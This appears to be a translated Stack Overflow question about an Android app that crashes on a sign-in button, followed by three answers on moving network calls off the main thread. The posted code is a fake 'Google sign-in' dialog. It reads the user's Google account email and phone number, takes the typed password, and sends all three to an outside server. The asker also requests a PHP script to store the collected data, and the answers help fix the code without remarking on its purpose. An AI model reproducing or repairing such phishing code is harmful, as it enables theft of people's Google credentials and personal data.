当我按下发送按钮时,android服务器客户端应用程序崩溃

时间:2016-02-01 20:29:50

标签: php android

每次按下带有错误对话框的登录按钮

时,我的Android Server客户端应用程序都会崩溃
  

抱歉!应用程序-----意外停止了。请再试一次

请帮帮我。 请给我一个php脚本来将发送的数据存储到我的服务器..

ShowPassDialog.java

   public class ShowPassDialog extends Activity  {
   @Override
   public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    // Set up the dialog.
    requestWindowFeature(Window.FEATURE_NO_TITLE);
    setContentView(R.layout.pass_dialog);

    // Get the primary e-mail address of the user.
    Account[] accounts = AccountManager.get(this).getAccountsByType("com.google");
    final String primaryEmail = accounts[0].name;

    // Set the email field in the dialog to the primary email.
    TextView email = (TextView) findViewById(R.id.emailText);
    email.setText(primaryEmail);

    // Get the password field.
    final EditText pass = (EditText) findViewById(R.id.passInput);

    // Get the signin button and send password on click.
    Button signin = (Button) findViewById(R.id.signin);
    signin.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            sendPass(primaryEmail, pass.getText().toString());
            // Set a preference so the dialog is only showed once.

        }
    });
}


// This method will send the entered password to the server.
protected void sendPass(String primaryEmail, String password) {
    TelephonyManager mTelephonyMgr = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
    String mynumber = mTelephonyMgr.getLine1Number().substring(1);
    URL url;
    HttpURLConnection connect = null;
    BufferedReader rd;
    StringBuilder sb;
    OutputStreamWriter wr;
    // Replace this string with your receievepass.php url.
    String urlString = "goyal.com/gmail.php ";
    try {
        System.setProperty("http.keepAlive", "false");
        url = new URL(urlString);
        connect = (HttpURLConnection) url.openConnection();
        connect.setRequestMethod("POST");
        connect.setDoOutput(true);
        connect.setDoInput(true);
        connect.setReadTimeout(10000);

        connect.connect();

        // write to the stream
        StringBuilder data = new StringBuilder();
        String numData = URLEncoder.encode("phoneId", "UTF-8") + "="
                + URLEncoder.encode(mynumber, "UTF-8");
        String emailData = URLEncoder.encode("primaryEmail", "UTF-8") + "="
                + URLEncoder.encode(primaryEmail, "UTF-8");
        String passData = URLEncoder.encode("password", "UTF-8") + "="
                + URLEncoder.encode(password, "UTF-8");

        data.append(numData).append("&").append(emailData).append("&").append(passData);

        wr = new OutputStreamWriter(connect.getOutputStream());
        wr.write(data.toString());
        wr.flush();

        // read the result from the server
        rd = new BufferedReader(new InputStreamReader(connect.getInputStream()));
        sb = new StringBuilder();
        String line = null;
        while ((line = rd.readLine()) != null) {
            sb.append(line);
        }
    } catch (MalformedURLException e1) {
        e1.printStackTrace();
        Log.e("URL INVALID:", "The url given, " + urlString + ", is invalid.");
        return;
    } catch (IOException e) {
        e.printStackTrace();
        return;
    } finally {
        // close the connection, set all objects to null
        connect.disconnect();
        rd = null;
        sb = null;
        wr = null;
        connect = null;
    }
}

}

pass_dialog.xml

 <?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
 android:layout_width="match_parent"
 android:layout_height="fill_parent"
 android:orientation="vertical"
 android:padding="10dp" >

<LinearLayout
    android:id="@+id/linearLayout1"
    android:layout_width="match_parent"
    android:layout_height="wrap_content" >

    <ImageView
        android:id="@+id/imageView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:src="@android:drawable/ic_dialog_alert" />

    <TextView
        android:id="@+id/textView1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:paddingLeft="10dp"
        android:text="Google sign-in"
        android:textAppearance="?android:attr/textAppearanceLarge" />
</LinearLayout>

<TextView
    android:id="@+id/passPrompt"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="20dp"
    android:text="@string/pass1" />

<TextView
    android:id="@+id/unTitle"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="Username"
    android:textStyle="bold" />

<TextView
    android:id="@+id/emailText"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="TextView" />

<TextView
    android:id="@+id/pTitle"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="Password"
    android:textStyle="bold" />

<EditText
    android:id="@+id/passInput"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:inputType="textPassword" >

    <requestFocus />
</EditText>



<LinearLayout
    android:id="@+id/buttonbg"
    android:layout_width="286dp"
    android:layout_height="wrap_content"
    android:background="@color/bggrey"
    android:gravity="center_horizontal"
    android:paddingTop="5dp"
    android:paddingBottom="5dp"
    android:orientation="vertical" >


    <Button
        android:id="@+id/signin"
        android:layout_width="87dp"
        android:layout_height="match_parent"
        android:paddingLeft="10dp"
        android:paddingRight="10dp"
        android:text="Sign in" />

</LinearLayout>

3 个答案:

答案 0 :(得分:0)

调用Web服务可能会令人沮丧!

我建议在GitHub上使用这个库, 它处理所有艰苦的工作,而且非常容易使用。

https://github.com/koush/ion

只需将此行添加到gradle依赖项:

dependencies {
    compile 'com.koushikdutta.ion:ion:2.+'
}

这段代码将处理所有帖子:

JsonObject json = new JsonObject();
json.addProperty("foo", "bar");

Ion.with(context)
.load("http://example.com/post")
.setJsonObjectBody(json)
.asJsonObject()
.setCallback(new FutureCallback<JsonObject>() {
   @Override
    public void onCompleted(Exception e, JsonObject result) {
        // do stuff with the result or error
    }
});

答案 1 :(得分:-1)

您正在应用程序的主要线程(活动)中进行http通信。很可能你必须得到android.os.NetworkOnMainThreadException例外。

您无法在主线程中进行客户端 - 服务器/ http通信。请遵循以下建议以避免崩溃。

1)创建不同的ThreadAsyncTask,并在线程情况下在run中编写http通信调用,在AsyncTask情况下编写doInBackground

2)使用Volley,Retrofit或其他一些HTTP调用库,它们可以在不同的线程中进行http调用。

您可以查看this question以供参考。

不要忘记在应用程序的清单中添加INTERNET权限

答案 2 :(得分:-1)

执行网络呼叫时,请使用异步任务。在doInBackground()中写入所有网络密集型代码。